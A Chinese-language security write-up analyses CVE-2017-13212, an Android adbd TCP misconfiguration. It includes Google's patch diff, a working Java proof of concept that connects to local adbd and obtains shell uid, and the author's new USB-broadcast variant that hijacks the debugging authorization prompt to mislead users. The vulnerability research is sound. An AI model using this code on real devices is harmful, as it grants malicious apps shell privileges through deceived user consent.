1. 程式人生 > 其它 >ADB配置提權漏洞(CVE-2017-13212)原理與利用分析

ADB配置提權漏洞(CVE-2017-13212)原理與利用分析

0x01 背景

adb由於擁有shell許可權,因此僅在授權PC端後才可使用shell許可權,而通過該漏洞,可以實現在移動端獲取shell許可權,以致於可隨意刪除應用、螢幕截圖等等高許可權操作。不過移動端惡意應用程式必須能夠連線到adbd正在監聽的TCP埠,這就需要應用程式在它的AndroidMainifest.xml中定義INTERNET許可權。

而漏洞作者所用的攻擊方法是構造一個覆蓋視窗,劫持使用者點選,也就是經典的hijack攻擊。Google也據此修復了此種攻擊方式。

但是,我經過嘗試後發現,除了以上構造hijack攻擊視窗外,還可以劫持USB廣播,然後在使用者進行正常的連線電腦操作時,劫持授權介面,使使用者誤導從而進行授權。也即造成新的劫持授權漏洞方案。

影響:

0x02 原理分析

為了能利用此adb配置漏洞,首先需要adb connect到adbd正在監聽的埠,然後移動端會發起授權驗證視窗,使用者授權,驗證通過後,可使用adb shell命令執行shell許可權操作。

使用adb命令“adb tcpip port”來啟用adbd以監聽TCP埠

adb tcpip 5555

在啟用了USB除錯,且adbd正處於TCP埠監聽的情況下,惡意應用程式可以利用自帶的adb二進位制檔案連線adbd,或者可以實現adb server協議與adbd通訊。如果adb server尚未被裝置授權,則會觸發認證請求並提示使用者驗證並接受RSA公鑰(引用[2])。但此認證框可被覆蓋(Google已經修復),具體可見參考文章。

分析下diff:

diff --git a/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java b/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java

index f5447a2..329dd99 100644

--- a/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java

+++ b/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java

@@ -31,8 +31,12 @@

 import android.os.SystemProperties;

 import android.util.Log;

 import android.view.LayoutInflater;

+import android.view.MotionEvent;

 import android.view.View;

+import android.view.Window;

+import android.view.WindowManager;

 import android.widget.CheckBox;

+import android.widget.Toast;

 import com.android.internal.app.AlertActivity;

 import com.android.internal.app.AlertController;

@@ -48,6 +52,10 @@

     @Override

     public void onCreate(Bundle icicle) {

+        Window window = getWindow();

+        window.addPrivateFlags(WindowManager.LayoutParams.PRIVATE_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS);

+        window.setType(WindowManager.LayoutParams.TYPE_SYSTEM_DIALOG);

+

         super.onCreate(icicle);

         if (SystemProperties.getInt("service.adb.tcp.port", 0) == 0) {

@@ -79,6 +87,23 @@

         ap.mView = checkbox;

         setupAlert();

+

+        // adding touch listener on affirmative button - checks if window is obscured

+        // if obscured, do not let user give permissions (could be tapjacking involved)

+        //增加了對偽造視窗的認證判定,防止使用者被誤導授權

+        final View.OnTouchListener filterTouchListener = (View v, MotionEvent event) -> {

+            // Filter obscured touches by consuming them.

+            if (((event.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED) != 0)

+                    || ((event.getFlags() & MotionEvent.FLAG_WINDOW_IS_PARTIALLY_OBSCURED) != 0)) {

+                if (event.getAction() == MotionEvent.ACTION_UP) {

+                    Toast.makeText(v.getContext(),

+                            R.string.touch_filtered_warning,

+                            Toast.LENGTH_SHORT).show();

+                }

+                return true;

+            }

+            return false;

+        };

+        mAlert.getButton(BUTTON_POSITIVE).setOnTouchListener(filterTouchListener);

     }

問題:

1. 貌似只是對偽造視窗進行了防禦,可漏洞難道不是因為TCP埠監聽而造成提權嗎? 2. 那也就是使用者授權後,依舊可以在移動端獲取shell許可權?

結論:

確實可以在移動端獲取到shell許可權

思考

那如果假設能監聽使用者是否連線USB,在使用者進行正常的USB連線PC操作時,劫持授權視窗,即彈出我們的授權,也可以造成使用者誤導授權。

結論:

確實可以構造接收廣播,當USB連線到PC時,會優先彈出我們的授權視窗,從而誤導使用者獲得授權

攻擊思路:

靜態註冊監聽USB連線狀態的廣播,優先順序設定為最高

一旦監聽到連線,啟動後臺service,執行連線命令

此時會優先彈出我們的授權視窗,由於授權視窗並沒有說明來自哪裡的彈窗,見下圖對比,僅僅是RSA指紋不同,即使是技術人員,也很難識別是來自哪裡的授權視窗。

PC端授權視窗

apk惡意授權視窗

0x03 漏洞利用

試驗環境: Android 4.4.4 Nexus 5

PC端執行

 adb tcpip 5555

作者攻擊思路驗證Poc:

private void escalatePrivilege() {

    /*

        如果大於android 6.0

        需要使用預編譯的adb可執行二進位制檔案

    */

        try {

            String[] connectCmd = {"adb","connect","127.0.0.1:5555"};

            String[] idCmd = {"adb","shell","id"};

            execCommand(connectCmd);

            execCommand(idCmd);

        } catch (Exception e) {

            Log.d(TAG, "escalatePrivilege: " + e.toString() );

        }

    }

    private void readData(InputStream inputStream){

        BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));

        String data ;

        while (true) {

            try {

                data = reader.readLine();

                if(data == null) {

                    break;

                }

                Log.d(TAG, "output: " + data);

            } catch (IOException e) {

                e.printStackTrace();

            }

        }

    }

    private Process execCommand(String[] cmds){

        ProcessBuilder builder = new ProcessBuilder();

        Process execCommandProcess = null;

        builder.command(cmds);

        builder.directory(this.getFilesDir());

        builder.redirectErrorStream(true);

        Map<String, String> env = builder.environment();

        env.put("HOME", this.getFilesDir().toString());

        env.put("TMPDIR", this.getFilesDir().toString());

        try {

            execCommandProcess = builder.start();

            execCommandProcess.waitFor();

            readData(execCommandProcess.getInputStream());

        }catch (InterruptedException e){

            e.printStackTrace();

        } catch (IOException e) {

            e.printStackTrace();

        }

        return execCommandProcess;

    }

會彈出USB除錯授權視窗,google已經修復此覆蓋hijack漏洞。

Logcat輸出:

output: connected to 127.0.0.1:5555

output: uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0

備註:

可能在實驗的時候,會沒有彈出授權視窗,此時刪除apk,撤銷USB授權後,重啟機器可還原環境。

0x04 思考部分攻擊思路Exp

AndroidManifest.xml 增加USB廣播:

<receiver

    android:name=".UsbBroadcastReceiver"

    android:enabled="true"

    android:exported="true">

    <intent-filter android:priority="100">

        <action android:name="android.hardware.usb.action.USB_STATE"/>

    </intent-filter>

</receiver>

然後在接收廣播後,啟動service,在onStartCommand中進行連線:

public int onStartCommand(Intent intent, int flags, int startId) {

        Log.d(TAG, "onStartCommand: adb vul");

        String[] connectCmd = {"adb","connect","127.0.0.1:5555"};

        execCommand(connectCmd);

        return super.onStartCommand(intent, flags, startId);

    }

此時只要使用者開啟過該惡意應用,然後連線USB至電腦,則會彈出惡意的授權視窗:

只有使用者點選一律允許後,再次連線usb才會彈出pc端的授權,也因此造成了使用者的誘導.

0x05 防禦與總結

防禦

在進行試驗的時候,漏洞利用階段相對不穩定,有時候在連線的時候,並沒有正常的彈窗,具體原因暫不明,後續有時間再研究。只要能正常彈出授權視窗,那麼以上的攻擊思路也即生效。

儘量在正規應用商店下載應用,不要授權來歷不明的PC,注意授權的指紋資訊

漏洞由於需要使用者授權,也因此嚴重程度較低

總結

正向思考: 在使用者進行正常授權後,可獲得shell許可權,也即可以在移動端實現靜默安裝、解除安裝等等功能。

通過授權劫持攻擊,惡意應用可以在使用者不知情的情況下獲取高許可權,從而對系統造成破壞。

0x06 參考

Privilege Escalation via adbd Misconfiguration 經驗分享 | 通過adbd配置漏洞在安卓裝置上提升許可權